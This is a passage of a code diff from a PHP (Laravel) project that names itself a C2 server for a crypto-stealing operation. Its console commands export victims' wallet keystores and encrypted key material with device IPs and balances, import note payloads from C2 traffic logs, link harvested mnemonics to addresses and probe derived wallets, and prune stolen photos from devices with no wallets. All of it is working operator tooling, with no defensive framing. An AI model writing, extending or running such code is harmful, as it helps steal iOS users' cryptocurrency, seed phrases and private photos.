private function writeDevice($fh, Device $device, string $mode, int $flags): void
|
||||||
|
{
|
||||||
|
$ksMeta = DB::table('wallet_keystores')
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->orderBy('id')
|
||||||
|
->get(['id', 'source', 'decrypted', 'created_at']);
|
||||||
|
$addresses = $this->serializeAddresses($device);
|
||||||
|
|
||||||
|
$header = [
|
||||||
|
'id' => $device->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'channel_id' => $device->channel_id,
|
||||||
|
'model' => $device->device_model,
|
||||||
|
'ios_version' => $device->ios_version,
|
||||||
|
'ip' => $device->ip,
|
||||||
|
'country' => $device->country,
|
||||||
|
'wallet_names' => $device->walletNameList(),
|
||||||
|
'keystore_count' => $ksMeta->count(),
|
||||||
|
'address_count' => count($addresses),
|
||||||
|
'addresses' => $addresses,
|
||||||
|
];
|
||||||
|
$encoded = json_encode($header, $flags);
|
||||||
|
if ($encoded === false) {
|
||||||
|
fwrite($fh, '{"id":'.$device->id.',"error":"encode failed"}');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
fwrite($fh, substr($encoded, 0, -1));
|
||||||
|
fwrite($fh, ',"keystores":[');
|
||||||
|
$ksFirst = true;
|
||||||
|
foreach ($ksMeta as $row) {
|
||||||
|
if (! $ksFirst) {
|
||||||
|
fwrite($fh, ',');
|
||||||
|
}
|
||||||
|
$ksFirst = false;
|
||||||
|
$this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $mode, $flags);
|
||||||
|
}
|
||||||
|
fwrite($fh, ']}');
|
||||||
|
|
||||||
|
$this->line(sprintf(
|
||||||
|
'device %s keystores=%d addresses=%d',
|
||||||
|
$device->device_id,
|
||||||
|
$ksMeta->count(),
|
||||||
|
count($addresses),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param resource $fh
|
||||||
|
*/
|
||||||
|
private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, string $mode, int $flags): void
|
||||||
|
{
|
||||||
|
$len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0);
|
||||||
|
$meta = [
|
||||||
|
'id' => $id,
|
||||||
|
'source' => $source,
|
||||||
|
'decrypted' => $decrypted,
|
||||||
|
'created_at' => $createdAt !== '' ? $createdAt : null,
|
||||||
|
'raw_json_len' => $len,
|
||||||
|
];
|
||||||
|
if ($mode === 'none') {
|
||||||
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ($mode === 'full') {
|
||||||
|
$this->writeFullRaw($fh, $id, $meta, $flags);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->writeCompactV3($fh, $id, $len, $meta, $flags);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param resource $fh
|
||||||
|
* @param array<string, mixed> $meta
|
||||||
|
*/
|
||||||
|
private function writeCompactV3($fh, int $id, int $len, array $meta, int $flags): void
|
||||||
|
{
|
||||||
|
if ($len > self::COMPACT_MAX_BYTES) {
|
||||||
|
$meta['omitted'] = 'sandbox_or_keychain';
|
||||||
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$row = DB::selectOne(
|
||||||
|
"select
|
||||||
|
json_extract(raw_json, '$.crypto') as crypto,
|
||||||
|
json_unquote(json_extract(raw_json, '$.id')) as ks_id,
|
||||||
|
json_unquote(json_extract(raw_json, '$.type')) as ks_type,
|
||||||
|
json_unquote(json_extract(raw_json, '$.address')) as address,
|
||||||
|
json_unquote(json_extract(raw_json, '$.derivationPath')) as derivation_path,
|
||||||
|
json_extract(raw_json, '$.version') as version,
|
||||||
|
json_extract(raw_json, '$.imTokenMeta') as imtoken_meta,
|
||||||
|
json_extract(raw_json, '$.encOriginal') as enc_original,
|
||||||
|
json_extract(raw_json, '$.identity') as identity
|
||||||
|
from wallet_keystores where id = ?",
|
||||||
|
[$id],
|
||||||
|
);
|
||||||
|
|
||||||
|
$crypto = $this->mysqlJson($row->crypto ?? null);
|
||||||
|
if (! is_array($crypto) || ! isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf'])) {
|
||||||
|
$meta['omitted'] = 'not_v3';
|
||||||
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$v3 = array_filter([
|
||||||
|
'id' => $this->mysqlScalar($row->ks_id ?? null),
|
||||||
|
'type' => $this->mysqlScalar($row->ks_type ?? null),
|
||||||
|
'address' => $this->mysqlScalar($row->address ?? null),
|
||||||
|
'derivationPath' => $this->mysqlScalar($row->derivation_path ?? null),
|
||||||
|
'version' => $this->mysqlScalar($row->version ?? null),
|
||||||
|
'crypto' => $crypto,
|
||||||
|
'imTokenMeta' => $this->mysqlJson($row->imtoken_meta ?? null),
|
||||||
|
'encOriginal' => $this->mysqlJson($row->enc_original ?? null),
|
||||||
|
'identity' => $this->mysqlJson($row->identity ?? null),
|
||||||
|
], static fn ($v) => $v !== null && $v !== '');
|
||||||
|
|
||||||
|
$meta['v3'] = $v3;
|
||||||
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param resource $fh
|
||||||
|
* @param array<string, mixed> $meta
|
||||||
|
*/
|
||||||
|
private function writeFullRaw($fh, int $id, array $meta, int $flags): void
|
||||||
|
{
|
||||||
|
$blob = DB::selectOne(
|
||||||
|
'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?',
|
||||||
|
[$id],
|
||||||
|
);
|
||||||
|
$raw = is_object($blob) ? $blob->raw_json : null;
|
||||||
|
if (is_array($raw)) {
|
||||||
|
$raw = json_encode($raw, $flags) ?: 'null';
|
||||||
|
} elseif (! is_string($raw) && $raw !== null) {
|
||||||
|
$raw = (string) $raw;
|
||||||
|
}
|
||||||
|
$encodedMeta = json_encode($meta, $flags);
|
||||||
|
fwrite($fh, substr((string) $encodedMeta, 0, -1));
|
||||||
|
fwrite($fh, ',"raw_json":');
|
||||||
|
if ($raw === null || $raw === '') {
|
||||||
|
fwrite($fh, 'null');
|
||||||
|
} elseif ($this->looksLikeJson($raw)) {
|
||||||
|
fwrite($fh, $raw);
|
||||||
|
} else {
|
||||||
|
fwrite($fh, (string) json_encode($raw, $flags));
|
||||||
|
}
|
||||||
|
fwrite($fh, '}');
|
||||||
|
unset($blob, $raw);
|
||||||
|
gc_collect_cycles();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mysqlJson(mixed $value): ?array
|
||||||
|
{
|
||||||
|
if (is_array($value)) {
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
|
if (! is_string($value) || $value === '' || $value === 'null') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$decoded = json_decode($value, true);
|
||||||
|
|
||||||
|
return is_array($decoded) ? $decoded : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mysqlScalar(mixed $value): mixed
|
||||||
|
{
|
||||||
|
if ($value === null || $value === 'null') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (is_string($value) && $value !== '' && ($value[0] === '"' || $value[0] === '{' || $value[0] === '[')) {
|
||||||
|
$decoded = json_decode($value, true);
|
||||||
|
if (json_last_error() === JSON_ERROR_NONE) {
|
||||||
|
return $decoded;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function looksLikeJson(string $raw): bool
|
||||||
|
{
|
||||||
|
$trim = ltrim($raw);
|
||||||
|
|
||||||
|
return $trim !== '' && ($trim[0] === '{' || $trim[0] === '[');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array<string, mixed>>
|
||||||
|
*/
|
||||||
|
private function serializeAddresses(Device $device): array
|
||||||
|
{
|
||||||
|
$addresses = [];
|
||||||
|
foreach ($device->addresses()->orderBy('id')->cursor() as $addr) {
|
||||||
|
$coins = [];
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$raw = $addr->{$col};
|
||||||
|
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$coins[$col] = WalletAddress::formatAmount($col, $raw);
|
||||||
|
}
|
||||||
|
$addresses[] = [
|
||||||
|
'id' => $addr->id,
|
||||||
|
'address' => $addr->address,
|
||||||
|
'chain_type' => $addr->chain_type,
|
||||||
|
'source' => $addr->source,
|
||||||
|
'mnemonic_id' => $addr->mnemonic_id,
|
||||||
|
'derive_index' => $addr->derive_index,
|
||||||
|
'coins' => $coins,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $addresses;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\Note;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class ImportNotesLogCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'notes:import-log
|
||||||
|
{file? : C2 traffic log containing /nb lines}
|
||||||
|
{--fresh : Delete all notes before import}';
|
||||||
|
|
||||||
|
protected $description = 'Import /nb note payloads from a C2 log into the local notes table';
|
||||||
|
|
||||||
|
public function handle(IngestService $ingest): int
|
||||||
|
{
|
||||||
|
$path = $this->argument('file') ?: '/Users/toad/Downloads/20260908 (1).log';
|
||||||
|
if (! is_file($path)) {
|
||||||
|
$this->error('Log file not found: '.$path);
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($this->option('fresh')) {
|
||||||
|
Note::query()->delete();
|
||||||
|
$this->info('Cleared notes table.');
|
||||||
|
}
|
||||||
|
|
||||||
|
$handle = fopen($path, 'r');
|
||||||
|
if ($handle === false) {
|
||||||
|
$this->error('Cannot read log file.');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$posts = 0;
|
||||||
|
$devices = [];
|
||||||
|
$skipped = 0;
|
||||||
|
while (($line = fgets($handle)) !== false) {
|
||||||
|
if (! str_contains($line, ' /nb ') && ! str_contains($line, '"path":"/nb"')) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$jsonStart = strpos($line, '{');
|
||||||
|
if ($jsonStart === false) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$rec = json_decode(substr($line, $jsonStart), true);
|
||||||
|
if (! is_array($rec) || ($rec['path'] ?? '') !== '/nb') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$payload = $rec['payload'] ?? null;
|
||||||
|
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||||
|
$skipped++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$deviceKey = (string) ($rec['device_key'] ?? $payload['d'] ?? $payload['f'] ?? '');
|
||||||
|
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)) ?? '';
|
||||||
|
if ($deviceKey === '') {
|
||||||
|
$skipped++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$channel = trim((string) ($payload['c'] ?? ''));
|
||||||
|
$device = Device::query()->firstOrCreate(
|
||||||
|
['device_id' => $deviceKey],
|
||||||
|
[
|
||||||
|
'channel_id' => $channel !== '' ? substr($channel, 0, 64) : null,
|
||||||
|
'chain' => Device::CHAIN_CORUNA,
|
||||||
|
]
|
||||||
|
);
|
||||||
|
if ($channel !== '' && trim((string) $device->channel_id) === '') {
|
||||||
|
$device->forceFill(['channel_id' => substr($channel, 0, 64)])->save();
|
||||||
|
}
|
||||||
|
$ingest->ingestNotes($device, $payload);
|
||||||
|
$posts++;
|
||||||
|
$devices[$deviceKey] = true;
|
||||||
|
}
|
||||||
|
fclose($handle);
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'Imported /nb posts=%d devices=%d skipped=%d notes_rows=%d',
|
||||||
|
$posts,
|
||||||
|
count($devices),
|
||||||
|
$skipped,
|
||||||
|
Note::query()->count(),
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\MnemonicAddressLinker;
|
||||||
|
use App\Services\MnemonicWalletDiscovery;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class LinkMnemonicsCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:link-mnemonics';
|
||||||
|
|
||||||
|
protected $description = 'Link existing addresses to mnemonics (BIP44 0..9), then persist activated derived addresses (0..2) when a mnemonic has none';
|
||||||
|
|
||||||
|
public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int
|
||||||
|
{
|
||||||
|
$before = WalletAddress::query()->whereNull('mnemonic_id')->count();
|
||||||
|
$this->info("unlinked addresses before: {$before}");
|
||||||
|
|
||||||
|
$result = $linker->backfill();
|
||||||
|
|
||||||
|
// Only probe mnemonics that haven't been fully discovered across all 5
|
||||||
|
// chains yet. Manual "view wallet" / "refresh" bypasses this via force=true.
|
||||||
|
$discovered = 0;
|
||||||
|
foreach (WalletMnemonic::query()->where('discovery_complete', false)->orderBy('id')->cursor() as $mnemonic) {
|
||||||
|
$discovered += $discovery->discoverActivated($mnemonic);
|
||||||
|
}
|
||||||
|
|
||||||
|
$after = WalletAddress::query()->whereNull('mnemonic_id')->count();
|
||||||
|
$this->info(sprintf(
|
||||||
|
'scanned mnemonics=%d linked=%d discovered=%d unlinked_after=%d',
|
||||||
|
$result['mnemonics'],
|
||||||
|
$result['linked'],
|
||||||
|
$discovered,
|
||||||
|
$after,
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,115 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\Photo;
|
||||||
|
use App\Services\PhotoPreview;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
class PruneMissingPhotoFilesCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:prune-missing-photo-files
|
||||||
|
{--execute : Actually delete DB rows (default is dry-run)}
|
||||||
|
{--device= : Only this device_id or numeric id}';
|
||||||
|
|
||||||
|
protected $description = 'Delete photos rows whose file is missing on the local disk';
|
||||||
|
|
||||||
|
public function handle(PhotoPreview $previews): int
|
||||||
|
{
|
||||||
|
$execute = (bool) $this->option('execute');
|
||||||
|
$q = Photo::query();
|
||||||
|
$deviceFilter = trim((string) $this->option('device'));
|
||||||
|
if ($deviceFilter !== '') {
|
||||||
|
if (ctype_digit($deviceFilter)) {
|
||||||
|
$q->where('photos.device_id', (int) $deviceFilter);
|
||||||
|
} else {
|
||||||
|
$q->join('devices', 'devices.id', '=', 'photos.device_id')
|
||||||
|
->where('devices.device_id', $deviceFilter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'%s drop photos rows with no disk file batches of 500',
|
||||||
|
$execute ? 'EXECUTE' : 'DRY-RUN',
|
||||||
|
));
|
||||||
|
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
$scanned = 0;
|
||||||
|
$missing = 0;
|
||||||
|
$deleted = 0;
|
||||||
|
$touched = [];
|
||||||
|
$lastId = 0;
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
$photos = (clone $q)
|
||||||
|
->select(['photos.id', 'photos.device_id', 'photos.path'])
|
||||||
|
->where('photos.id', '>', $lastId)
|
||||||
|
->orderBy('photos.id')
|
||||||
|
->limit(500)
|
||||||
|
->get();
|
||||||
|
if ($photos->isEmpty()) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
$dropIds = [];
|
||||||
|
foreach ($photos as $photo) {
|
||||||
|
$scanned++;
|
||||||
|
$path = trim((string) ($photo->path ?? ''));
|
||||||
|
if ($path !== '' && $disk->exists($path)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$missing++;
|
||||||
|
$dropIds[] = $photo->id;
|
||||||
|
$touched[$photo->device_id] = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($execute && $dropIds !== []) {
|
||||||
|
DB::table('mnemonic_findings')->whereIn('photo_id', $dropIds)->update(['photo_id' => null]);
|
||||||
|
DB::table('photo_reads')->whereIn('photo_id', $dropIds)->delete();
|
||||||
|
Photo::query()->whereIn('id', $dropIds)->delete();
|
||||||
|
$deleted += count($dropIds);
|
||||||
|
}
|
||||||
|
|
||||||
|
$lastId = (int) $photos->last()->id;
|
||||||
|
$this->info($execute
|
||||||
|
? sprintf(' scanned=%d missing=%d deleted=%d', $scanned, $missing, $deleted)
|
||||||
|
: sprintf(' scanned=%d missing=%d', $scanned, $missing));
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($missing === 0) {
|
||||||
|
$this->info(sprintf('nothing to prune scanned=%d', $scanned));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $execute) {
|
||||||
|
$this->info(sprintf(
|
||||||
|
'dry-run scanned=%d missing=%d devices=%d; pass --execute to delete rows',
|
||||||
|
$scanned,
|
||||||
|
$missing,
|
||||||
|
count($touched),
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (array_keys($touched) as $deviceId) {
|
||||||
|
$device = Device::query()->find($deviceId);
|
||||||
|
if ($device) {
|
||||||
|
$previews->forgetForDevice((string) $device->device_id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'done scanned=%d deleted_rows=%d devices=%d',
|
||||||
|
$scanned,
|
||||||
|
$deleted,
|
||||||
|
count($touched),
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\Photo;
|
||||||
|
use App\Services\PhotoPreview;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
class PruneNowalletPhotosCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:prune-nowallet-photos
|
||||||
|
{--before= : Only photos created before this day (2026-09-01 = that day 00:00)}
|
||||||
|
{--execute : Actually delete files and rows (default is dry-run)}
|
||||||
|
{--disable-storage : Also turn off album_storage when a device has no photos left}';
|
||||||
|
|
||||||
|
protected $description = 'Delete stored photos on devices without wallets; --before keeps newer photos';
|
||||||
|
|
||||||
|
public function handle(PhotoPreview $previews): int
|
||||||
|
{
|
||||||
|
$execute = (bool) $this->option('execute');
|
||||||
|
$disableStorage = (bool) $this->option('disable-storage');
|
||||||
|
$before = $this->parseBefore(trim((string) $this->option('before')));
|
||||||
|
if ($before === false) {
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$keepIds = Device::query()
|
||||||
|
->where(function ($q) {
|
||||||
|
$q->where('has_wallet', Device::WALLET_YES)
|
||||||
|
->orWhereHas('addresses')
|
||||||
|
->orWhereHas('mnemonics')
|
||||||
|
->orWhereHas('keystores');
|
||||||
|
})
|
||||||
|
->pluck('id');
|
||||||
|
|
||||||
|
$q = Photo::query()->whereNotIn('device_id', $keepIds);
|
||||||
|
$this->applyBefore($q, $before);
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'%s keep_devices=%d streaming batches of 500 (no pre-count)%s',
|
||||||
|
$execute ? 'EXECUTE' : 'DRY-RUN',
|
||||||
|
$keepIds->count(),
|
||||||
|
$before === null ? '' : ' '.$this->beforeLabel($before),
|
||||||
|
));
|
||||||
|
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
$seen = 0;
|
||||||
|
$deletedRows = 0;
|
||||||
|
$deletedFiles = 0;
|
||||||
|
$touched = [];
|
||||||
|
|
||||||
|
$lastId = 0;
|
||||||
|
while (true) {
|
||||||
|
$photos = (clone $q)
|
||||||
|
->select(['photos.id', 'photos.device_id', 'photos.path'])
|
||||||
|
->where('photos.id', '>', $lastId)
|
||||||
|
->orderBy('photos.id')
|
||||||
|
->limit(500)
|
||||||
|
->get();
|
||||||
|
if ($photos->isEmpty()) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
$ids = [];
|
||||||
|
foreach ($photos as $photo) {
|
||||||
|
$ids[] = $photo->id;
|
||||||
|
$touched[$photo->device_id] = true;
|
||||||
|
$seen++;
|
||||||
|
if (! $execute) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$path = trim((string) ($photo->path ?? ''));
|
||||||
|
if ($path !== '' && $disk->delete($path)) {
|
||||||
|
$deletedFiles++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($execute && $ids !== []) {
|
||||||
|
DB::table('photo_reads')->whereIn('photo_id', $ids)->delete();
|
||||||
|
Photo::query()->whereIn('id', $ids)->delete();
|
||||||
|
$deletedRows += count($ids);
|
||||||
|
}
|
||||||
|
$lastId = (int) $photos->last()->id;
|
||||||
|
$this->info($execute
|
||||||
|
? sprintf(' deleted_rows=%d deleted_files=%d', $deletedRows, $deletedFiles)
|
||||||
|
: sprintf(' matched=%d', $seen));
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($seen === 0) {
|
||||||
|
$this->info('nothing to prune');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $execute) {
|
||||||
|
$this->info(sprintf(
|
||||||
|
'dry-run matched_photos=%d prune_devices=%d; pass --execute to delete',
|
||||||
|
$seen,
|
||||||
|
count($touched),
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
$clearedDirs = 0;
|
||||||
|
foreach (array_keys($touched) as $deviceId) {
|
||||||
|
$device = Device::query()->find($deviceId);
|
||||||
|
if ($device === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$previews->forgetForDevice((string) $device->device_id);
|
||||||
|
if ($device->photos()->exists()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||||
|
$clearedDirs++;
|
||||||
|
if ($disableStorage && $device->albumStorageEnabled()) {
|
||||||
|
$device->album_storage = false;
|
||||||
|
$device->save();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'deleted_rows=%d deleted_files=%d cleared_dirs=%d',
|
||||||
|
$deletedRows,
|
||||||
|
$deletedFiles,
|
||||||
|
$clearedDirs,
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{type: 'date', value: string}|null|false
|
||||||
|
*/
|
||||||
|
private function parseBefore(string $raw): array|null|false
|
||||||
|
{
|
||||||
|
if ($raw === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (preg_match('/^\d{4}-\d{2}-\d{2}$/', $raw) === 1) {
|
||||||
|
return ['type' => 'date', 'value' => $raw.' 00:00:00'];
|
||||||
|
}
|
||||||
|
$ts = strtotime($raw);
|
||||||
|
if ($ts === false) {
|
||||||
|
$this->error("invalid --before: {$raw} (use 2026-09-01 or a datetime)");
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ['type' => 'date', 'value' => date('Y-m-d H:i:s', $ts)];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{type: 'date', value: string}|null $before
|
||||||
|
*/
|
||||||
|
private function applyBefore(Builder $q, ?array $before): void
|
||||||
|
{
|
||||||
|
if ($before === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$q->where('photos.created_at', '<', $before['value']);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{type: 'date', value: string} $before
|
||||||
|
*/
|
||||||
|
private function beforeLabel(array $before): string
|
||||||
|
{
|
||||||
|
return 'before='.$before['value'];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function deleteStorageDir(string $dir): void
|
||||||
|
{
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
try {
|
||||||
|
if ($disk->directoryExists($dir)) {
|
||||||
|
$disk->deleteDirectory($dir);
|
||||||
|
}
|
||||||
|
} catch (\Throwable) {
|
||||||
|
try {
|
||||||
|
$disk->deleteDirectory($dir);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,137 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\Photo;
|
||||||
|
use App\Services\PhotoPreview;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Support\Collection;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
class PrunePhotosBeforeCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:prune-photos-before
|
||||||
|
{date : Delete photos created before this date (e.g. 2026-09-01 or "2026-09-01 00:00:00")}
|
||||||
|
{--execute : Actually delete files and rows (default is dry-run)}
|
||||||
|
{--device= : Only prune photos for this device_id or numeric id}';
|
||||||
|
|
||||||
|
protected $description = 'Delete photo DB rows, file blobs, read markers, and preview caches created before a given date';
|
||||||
|
|
||||||
|
public function handle(PhotoPreview $previews): int
|
||||||
|
{
|
||||||
|
$execute = (bool) $this->option('execute');
|
||||||
|
$dateArg = trim((string) $this->argument('date'));
|
||||||
|
$date = date('Y-m-d H:i:s', strtotime($dateArg));
|
||||||
|
if ($date === false || $date === '1970-01-01 00:00:00') {
|
||||||
|
$this->error("invalid date: {$dateArg}");
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$q = Photo::query()->where('photos.created_at', '<', $date);
|
||||||
|
$deviceFilter = trim((string) $this->option('device'));
|
||||||
|
if ($deviceFilter !== '') {
|
||||||
|
if (ctype_digit($deviceFilter)) {
|
||||||
|
$q->where('photos.device_id', (int) $deviceFilter);
|
||||||
|
} else {
|
||||||
|
$q->join('devices', 'devices.id', '=', 'photos.device_id')
|
||||||
|
->where('devices.device_id', $deviceFilter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'%s cutoff=%s streaming batches of 500 (no pre-count)',
|
||||||
|
$execute ? 'EXECUTE' : 'DRY-RUN',
|
||||||
|
$date,
|
||||||
|
));
|
||||||
|
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
$seen = 0;
|
||||||
|
$deletedRows = 0;
|
||||||
|
$deletedFiles = 0;
|
||||||
|
$deviceIds = [];
|
||||||
|
|
||||||
|
$this->eachPhotoBatch($q, 500, function (Collection $photos) use (
|
||||||
|
$execute,
|
||||||
|
$disk,
|
||||||
|
&$seen,
|
||||||
|
&$deletedRows,
|
||||||
|
&$deletedFiles,
|
||||||
|
&$deviceIds,
|
||||||
|
): void {
|
||||||
|
$ids = [];
|
||||||
|
foreach ($photos as $photo) {
|
||||||
|
$ids[] = $photo->id;
|
||||||
|
$deviceIds[$photo->device_id] = true;
|
||||||
|
$seen++;
|
||||||
|
if (! $execute) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$path = trim((string) ($photo->path ?? ''));
|
||||||
|
if ($path !== '' && $disk->delete($path)) {
|
||||||
|
$deletedFiles++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($execute && $ids !== []) {
|
||||||
|
DB::table('photo_reads')->whereIn('photo_id', $ids)->delete();
|
||||||
|
Photo::query()->whereIn('id', $ids)->delete();
|
||||||
|
$deletedRows += count($ids);
|
||||||
|
}
|
||||||
|
$this->info($execute
|
||||||
|
? sprintf(' deleted_rows=%d deleted_files=%d', $deletedRows, $deletedFiles)
|
||||||
|
: sprintf(' matched=%d', $seen));
|
||||||
|
});
|
||||||
|
|
||||||
|
if ($seen === 0) {
|
||||||
|
$this->info('nothing to prune');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $execute) {
|
||||||
|
